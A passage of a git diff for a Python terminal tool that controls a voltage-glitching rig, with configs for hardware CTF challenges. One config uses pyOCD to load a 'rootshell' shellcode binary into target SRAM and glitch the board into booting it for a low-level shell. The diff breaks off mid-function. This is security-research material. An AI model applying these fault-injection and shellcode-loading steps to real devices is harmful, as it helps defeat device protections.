+        raise IndexError("Index out of range")
+
+def get_trigger_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_value(index, value):
+    if 0 <= index < len(config.triggers):
+        switch = app_instance.query_one(f"#trigger_switch_{index}", Switch)  
+        switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_string(index: int, value: str):
+    # Validate the input value
+    valid_values = ["^", "v", "-"]
+    if value not in valid_values:
+        raise ValueError(f"Invalid trigger value. Must be one of {valid_values}")
+
+    # Update config
+    config.triggers[index][0] = value
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = app_instance.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(value)
+
+    # Update the switch in the UI
+    switch_widget = app_instance.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+
+def toggle_trigger(self, index: int):
+    current_symbol = config.triggers[index][0]
+    cycle = ["^", "v", "-"]
+    next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+
+    # Update config
+    config.triggers[index][0] = next_symbol
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = self.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(next_symbol)
+
+    # Update the switch in the UI
+    switch_widget = self.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+    log_message("next symbol: "+next_symbol)
+
+def set_uart_switch(state: bool | None = None) -> None:
+    switch_uart = app_instance.query_one("#uart_switch")
+    if state is None:
+        switch_uart.value = not switch_uart.value  # Toggle
+    else:
+        switch_uart.value = state  # Set to specific state
+
+def modify_value(variable_name: str, amount: int) -> int:
+    """
+    Modify a global variable by a given amount.
+    
+    Args:
+        variable_name (str): The name of the variable to modify.
+        amount (int): The amount to increment or decrement.
+
+    Returns:
+        int: The updated value.
+    """
+    global config  # Ensure we modify the variables from config.py
+
+    if variable_name == "length":
+        config.LENGTH += amount
+        return config.LENGTH
+    elif variable_name == "repeat":
+        config.REPEAT += amount
+        return config.REPEAT
+    elif variable_name == "delay":
+        config.DELAY += amount
+        return config.DELAY
+    else:
+        raise ValueError(f"Unknown variable: {variable_name}")
+
+def on_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle button presses and update values dynamically."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        # Strip everything before the first hyphen, including the hyphen itself
+        button_name = button_name.split("-", 1)[-1]  # Get the part after the first hyphen
+        
+        parts = button_name.split("_")
+        if len(parts) == 2:
+            variable_name, amount = parts[0], int(parts[1])
+
+            # Update the variable value in config.py
+            if hasattr(config, variable_name.upper()):
+                current_value = getattr(config, variable_name.upper())
+                new_value = current_value + amount
+                setattr(config, variable_name.upper(), new_value)
+
+                # Update corresponding Input field
+                input_field = app.query_one(f"#{variable_name}_input")
+                input_field.value = str(new_value)
+
+                # Update the status box row
+                update_status_box(app, variable_name, new_value)
+
+                # Refresh UI to reflect changes
+                app.refresh()
+
+def on_save_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle the Save button press to save the values."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        variable_name = button_name.replace("save_val-", "")
+        variable_name = variable_name.replace("_save", "")  # Extract the variable name from button
+        input_field = app.query_one(f"#{variable_name}_input", Input)
+
+        new_value = int(input_field.value)
+        setattr(config, variable_name.upper(), new_value)
+        
+        update_status_box(app, variable_name, new_value)
+        app.refresh()
+
+def save_uart_settings(app, event: Button.Pressed) -> None:
+
+    cur_uart_port = str(app.query_one(f"#uart_port_input", Input).value)
+    cur_baud_rate = int(app.query_one(f"#baud_rate_input", Input).value)
+
+    config.SERIAL_PORT = cur_uart_port
+    config.BAUD_RATE = cur_baud_rate
+
+    main_content = app.query_one(".main_content", Vertical)
+    main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+    app.refresh()
+
+def change_baudrate(new_baudrate):
+    """Change the baud rate using the app_instance's serial connection"""
+    if app_instance is None:
+        add_text("[ERROR] App instance not available")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection'):
+        add_text("[ERROR] No serial connection in app instance")
+        return False
+
+    input_field = app_instance.query_one(f"#baud_rate_input")
+    input_field.value = str(new_baudrate)
+    
+    serial_conn = app_instance.serial_connection
+    
+    if serial_conn is None or not serial_conn.is_open:
+        add_text("[ERROR] Serial port not initialized or closed")
+        return False
+    
+    try:
+        old_baudrate = serial_conn.baudrate
+        serial_conn.baudrate = new_baudrate
+        config.BAUD_RATE = new_baudrate
+
+        main_content = app_instance.query_one(".main_content", Vertical)
+        if functions.get_config_value("log_time") == 0:
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+        else:
+            time = str(functions.get_config_value("log_time"))
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE} \\[{time}.log]"
+        
+        return True
+        
+    except ValueError as e:
+        add_text(f"[ERROR] Invalid baud rate {new_baudrate}: {e}")
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial error changing baud rate: {e}")
+        # Attempt to revert
+        try:
+            serial_conn.baudrate = old_baudrate
+        except:
+            add_text("[WARNING] Failed to revert baud rate")
+    return False
+
+def update_status_box(app, variable_name, new_value):
+    column_keys = list(app.status_box.columns.keys())
+
+    # We only have two columns: "Attribute" and "Value"
+    if variable_name == "length":
+        row_key = list(app.status_box.rows.keys())[0]  # The first row
+        column_key = column_keys[1]  # The Value column for 'length'
+    elif variable_name == "repeat":
+        row_key = list(app.status_box.rows.keys())[1]  # The first row
+        column_key = column_keys[1]  # The Value column for 'repeat'
+    elif variable_name == "delay":
+        row_key = list(app.status_box.rows.keys())[2]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+    elif variable_name == "elapsed":
+        row_key = list(app.status_box.rows.keys())[3]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+
+    app.status_box.update_cell(row_key, column_key, str(new_value))
+
+def run_custom_function(app, event):
+    """Handle custom function buttons with enhanced logging"""
+    button = event.button
+    button_name = button.name
+    debug = DEBUG_MODE  # Set to False after testing
+
+    log_message(f"[CUSTOM] Button pressed: '{button_name}'")
+
+    if button_name:
+        try:
+            variable_name = int(button_name.replace("custom_function-", ""))
+            log_message(f"[CUSTOM] Condition index: {variable_name}")
+
+            if 0 <= variable_name < len(config.conditions):
+                func_name = config.conditions[variable_name][3]
+                log_message(f"[CUSTOM] Executing: {func_name}")
+                
+                # Use the centralized execution function
+                success = execute_condition_action(func_name, debug)
+                
+                if not success:
+                    log_message(f"[CUSTOM] Failed to execute {func_name}")
+            else:
+                log_message(f"[CUSTOM] Invalid index: {variable_name}")
+
+        except ValueError:
+            log_message(f"[CUSTOM] Invalid button format: '{button_name}'")
+        except Exception as e:
+            log_message(f"[CUSTOM] Error: {str(e)}")
+            if debug:
+                log_message(f"[DEBUG] {traceback.format_exc()}")
+
+def write_to_log(text: str, log_time: int):
+    """Write text to a log file named {log_time}.log in the logs directory"""
+    # Create logs directory if it doesn't exist
+    logs_dir = "logs"
+    if not os.path.exists(logs_dir):
+        os.makedirs(logs_dir)
+    
+    # Create filename using log_time value
+    log_file = os.path.join(logs_dir, f"{log_time}.log")
+    
+    # Append text to log file
+    with open(log_file, "a") as f:
+        f.write(f"{text}")
+
+def add_text(text):
+    """Add text to the log widget and optionally to a log file"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text + "\n")
+    
+    log_time = get_config_value("log_time")
+    if log_time > 0:
+        write_to_log(text+"\n", log_time)
+
+def update_text(text):
+    """Update text without adding newlines"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text)
+
+def save_config(app):
+    config_file = get_config_value("conFile")
+    temp_file = config_file + ".tmp"
+    new_file = str(app.query_one(f"#config_file_input", Input).value)
+    
+    try:
+        # Get current values
+        serial_port = get_config_value("serial_port")
+        baud_rate = get_config_value("baud_rate")
+        length = get_config_value("length")
+        repeat = get_config_value("repeat")
+        delay = get_config_value("delay")
+        
+        # Get triggers
+        triggers = []
+        for i in range(8):
+            triggers.append([
+                get_config_value(f"trigger_{i}_value"),
+                get_config_value(f"trigger_{i}_state")
+            ])
+        
+        # Read existing config
+        existing_content = ""
+        custom_functions = []
+        imports = []
+        if os.path.exists(config_file):
+            with open(config_file, 'r') as f:
+                existing_content = f.read()
+            
+            # Extract imports and functions
+            import_pattern = re.compile(r'^import .+?$|^from .+? import .+?$', re.MULTILINE)
+            imports = import_pattern.findall(existing_content)
+            
+            func_pattern = re.compile(r'^(def \w+\(.*?\):.*?)(?=^(?:def \w+\(|\Z))', re.MULTILINE | re.DOTALL)
+            custom_functions = [fn.strip() for fn in func_pattern.findall(existing_content) if fn.strip()]
+        
+        # Write new config file
+        with open(temp_file, 'w') as f:
+            # Write imports
+            if imports:
+                f.write("######\n# LEAVE THESE IMPORTS!\n######\n")
+                f.write("\n".join(imports) + "\n\n")
+            
+            # Write config values
+            f.write("######\n# config values\n######\n\n")
+            f.write(f"SERIAL_PORT = {repr(serial_port)}\n")
+            f.write(f"BAUD_RATE = {baud_rate}\n\n")
+            f.write(f"LENGTH = {length}\n")
+            f.write(f"REPEAT = {repeat}\n")
+            f.write(f"DELAY = {delay}\n\n")
+            
+            # Write triggers
+            f.write("###\n# ^ = pullup, v = pulldown\n###\n")
+            f.write("triggers = [\n")
+            for i, (value, state) in enumerate(triggers):
+                f.write(f"    [{repr(value)}, {state}],  #{i}\n")
+            f.write("]\n")
+            
+            # Write conditions if they exist
+            if hasattr(config, 'conditions') and config.conditions:
+                f.write("\n###\n# name, enabled, string to match\n###\n")
+                f.write("conditions = [\n")
+                for condition in config.conditions:
+                    f.write(f"    {condition},\n")
+                f.write("]\n")
+            
+            # Write custom functions with proper spacing
+            if custom_functions:
+                f.write("\n######\n# Custom functions\n######\n")
+                f.write("\n\n".join(custom_functions))
+                f.write("\n")  # Single newline at end
+        
+        # Finalize file
+        if os.path.exists(new_file):
+            os.remove(new_file)
+        os.rename(temp_file, new_file)
+        config.CONFILE = new_file
+        add_text(f"[SAVED] config {new_file} saved")
+        
+    except Exception as e:
+        log_message(f"Error saving config: {str(e)}")
+        if os.path.exists(temp_file):
+            os.remove(temp_file)
+        raise
+
+def start_serial():
+    try:
+        ser = serial.Serial(
+            port=config.SERIAL_PORT,
+            baudrate=config.BAUD_RATE,
+            timeout=0.1,          # Read timeout (seconds)
+            write_timeout=1.0,    # Write timeout
+            inter_byte_timeout=0.05, # Between bytes
+            exclusive=True,        # Prevent multiple access
+            rtscts=True,           # Enable hardware flow control
+            dsrdtr=True            # Additional flow control
+        )
+        add_text("Connected to serial port.")
+        return ser
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial exception: {e}")
+        return None
+
+def send_uart_message(message):
+    """Send a message via UART from anywhere in the application"""
+    if not app_instance:
+        log_message("[UART] Not sent - No app instance")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection') or not app_instance.serial_connection.is_open:
+        log_message("[UART] Not sent - UART disconnected")
+        return False
+    
+    try:
+        # Ensure message ends with newline if it's not empty
+        if message and not message.endswith('\n'):
+            message += '\n'
+        
+        # Send the message
+        app_instance.serial_connection.write(message.encode('utf-8'))
+        log_message(f"[UART] Sent: {message.strip()}")
+        return True
+    except Exception as e:
+        log_message(f"[UART TX ERROR] {str(e)}")
+        return False
+
+def get_conditions_buffer_size(debug=False):
+    """Return the maximum length of condition strings with debug option"""
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions defined, using default buffer size 256")
+        return 256
+    
+    valid_lengths = [len(cond[2]) for cond in config.conditions if cond[2]]
+    if not valid_lengths:
+        if debug:
+            log_message("[DEBUG] All condition strings are empty, using default buffer size 256")
+        return 256
+    
+    max_size = max(valid_lengths)
+    if debug:
+        log_message(f"[DEBUG] Calculated buffer size: {max_size} (from {len(config.conditions)} conditions)")
+    return max_size
+
+def check_conditions(self, buffer, debug=False):
+    """Check buffer against all conditions by examining every position"""
+    if debug:
+        log_message(f"[DEBUG] Checking buffer ({len(buffer)} chars): {repr(buffer)}")
+        
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions to check against")
+        return None
+        
+    for i, condition in enumerate(config.conditions):
+        trigger_str = condition[2]
+        if not trigger_str:  # Skip empty trigger strings
+            continue
+            
+        trigger_len = len(trigger_str)
+        buffer_len = len(buffer)
+        
+        if debug:
+            log_message(f"[DEBUG] Checking condition {i} for '{trigger_str}' (length: {trigger_len})")
+        
+        # Check every possible starting position in the buffer
+        for pos in range(buffer_len - trigger_len + 1):
+            # Compare slice of buffer with trigger string
+            if buffer[pos:pos+trigger_len] == trigger_str:
+                try:
+                    condition_active = config.conditions[i][1]  # Get state from config
+                    
+                    if not condition_active:
+                        if debug:
+                            log_message(f"[DEBUG] Condition {i} matched at position {pos} but switch is OFF")
+                        continue
+                    
+                    if debug:
+                        log_message(f"[DEBUG] MATCHED condition {i} at position {pos}: {condition[0]} -> {condition[3]}")
+                    return condition[3]
+                    
+                except Exception as e:
+                    if debug:
+                        log_message(f"[DEBUG] Condition check failed for {i}: {str(e)}")
+                    continue
+    
+    if debug:
+        log_message("[DEBUG] No conditions matched")
+    return None
+
+def execute_condition_action(action_name, debug=False):
+    """Execute the named action function using run_custom_function logic"""
+    if debug:
+        log_message(f"[ACTION] Attempting to execute: {action_name}")
+    
+    try:
+        # Check if action exists in config module
+        module_name = 'config'
+        module = importlib.import_module(module_name)
+        
+        if hasattr(module, action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in {module_name}")
+            getattr(module, action_name)()
+            return True
+        
+        # Check if action exists in functions module
+        if hasattr(sys.modules[__name__], action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in functions")
+            getattr(sys.modules[__name__], action_name)()
+            return True
+        
+        # Check if action exists in globals
+        if action_name in globals():
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in globals")
+            globals()[action_name]()
+            return True
+        
+        log_message(f"[ACTION] Function '{action_name}' not found in any module")
+        return False
+        
+    except Exception as e:
+        log_message(f"[ACTION] Error executing {action_name}: {str(e)}")
+        if debug:
+            log_message(f"[DEBUG] Full exception: {traceback.format_exc()}")
+        return False
+
+def get_glitch_elapsed():
+    gtime = get_config_value("glitch_time")
+    if gtime <= 0:
+        return "000:00:00"
+    # Assuming gtime contains the start timestamp
+    elapsed = int(time.time() - gtime)
+    return f"{elapsed//3600:03d}:{(elapsed%3600)//60:02d}:{elapsed%60:02d}"
+
+def start_glitch(glitch_len, trigger_repeats, delay):
+    s.glitch.repeat = glitch_len
+    s.glitch.ext_offset = delay
+    #add_text(f"[GLITCHING]: length:{glitch_len}, offset:{delay}, repeat:{trigger_repeats}")
+            
+    triggers = [] # Get triggers
+    triggers_set = False
+    for i in range(8):
+        triggers.append([
+            get_config_value(f"trigger_{i}_value"),
+            get_config_value(f"trigger_{i}_state")
+        ])
+    for i, (value, state) in enumerate(triggers):
+        if state is True:
+            triggers_set = True
+            if value == "^":
+                #add_text(f"[GLITCHING]: armed: {i} ^")
+                s.arm(i, Scope.RISING_EDGE)
+            elif value == "v":
+                #add_text(f"[GLITCHING]: armed: {i} v")
+                s.arm(i, Scope.FALLING_EDGE)
+
+    if triggers_set is False:
+        #add_text(f"[GLITCHING]: repeat:{trigger_repeats}")
+        for _ in range(trigger_repeats):
+            s.trigger()
+
+def launch_glitch():
+    length = functions.get_config_value("length")
+    repeat = functions.get_config_value("repeat")
+    delay = functions.get_config_value("delay")
+    start_glitch(length, repeat, delay)
+
+async def glitch(self):
+    functions.log_message("[GLITCHING] Starting glitch monitor")
+    previous_gtime = None  # Track the previous state
+    
+    while True:
+        try:
+            gtime = get_config_value("glitch_time")
+            elapsed_time = get_glitch_elapsed()
+            functions.update_status_box(self, "elapsed", elapsed_time)
+            
+            # Only update if the state has changed
+            #if gtime != previous_gtime:
+            if gtime > 0:
+                self.status_box.border_subtitle = "running"
+                self.status_box.styles.border_subtitle_color = "#5E99AE"
+                self.status_box.styles.border_subtitle_style = "bold"
+
+                length = functions.get_config_value("length")
+                repeat = functions.get_config_value("repeat")
+                delay = functions.get_config_value("delay")
+                start_glitch(length, repeat, delay)
+            else:
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.styles.border_subtitle_style = "none"
+                
+                #previous_gtime = gtime  # Update the previous state
+
+        except Exception as e:
+            print(f"Update error: {e}")
+        
+        await asyncio.sleep(0.1)
+
+def glitching_switch(value):
+    switch = app_instance.query_one("#glitch-switch", Switch)  
+    switch.value = value  # Force turn off
+
+def run_output_high(gpio, time):
+    s.io.add(gpio, 1, delay=time)
+    s.io.upload()
+    s.trigger()
+
+def run_output_low(gpio, time):
+    s.io.add(gpio, 0, delay=time)
+    s.io.upload()
+    s.trigger()
+
+async def monitor_buffer(self):
+    """Background task to monitor serial buffer for conditions"""
+    debug = True
+    buffer_size = functions.get_conditions_buffer_size(debug)
+    
+    functions.log_message("[CONDITIONS] Starting monitor")
+    
+    while self.run_serial:
+        if not getattr(self, '_serial_connected', False):
+            await asyncio.sleep(1)
+            continue
+            
+        async with self.buffer_lock:
+            current_buffer = self.serial_buffer
+            max_keep = buffer_size * 3  # Keep enough buffer to catch split matches
+            
+            if len(current_buffer) > max_keep:
+                # Keep last max_keep characters, but ensure we don't cut a potential match
+                keep_from = len(current_buffer) - max_keep
+                # Find the last newline before this position to avoid breaking lines
+                safe_cut = current_buffer.rfind('\n', 0, keep_from)
+                if safe_cut != -1:
+                    keep_from = safe_cut + 1
+                self.serial_buffer = current_buffer[keep_from:]
+                current_buffer = self.serial_buffer
+                if debug:
+                    log_message(f"[DEBUG] Truncated buffer from {len(current_buffer)+keep_from} to {len(current_buffer)} chars")
+        
+        if current_buffer:
+            action = functions.check_conditions(self, current_buffer, debug)
+            if action:
+                functions.log_message(f"[CONDITIONS] Triggering: {action}")
+                success = functions.execute_condition_action(action, debug)
+                
+                if success:
+                    async with self.buffer_lock:
+                        # Clear the buffer after successful match
+                        self.serial_buffer = ""
+                else:
+                    functions.log_message("[CONDITIONS] Action failed")
+        
+        await asyncio.sleep(0.1)
+
+def clear_text():
+    text_area.clear()
+
+def end_program():
+    exit()
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
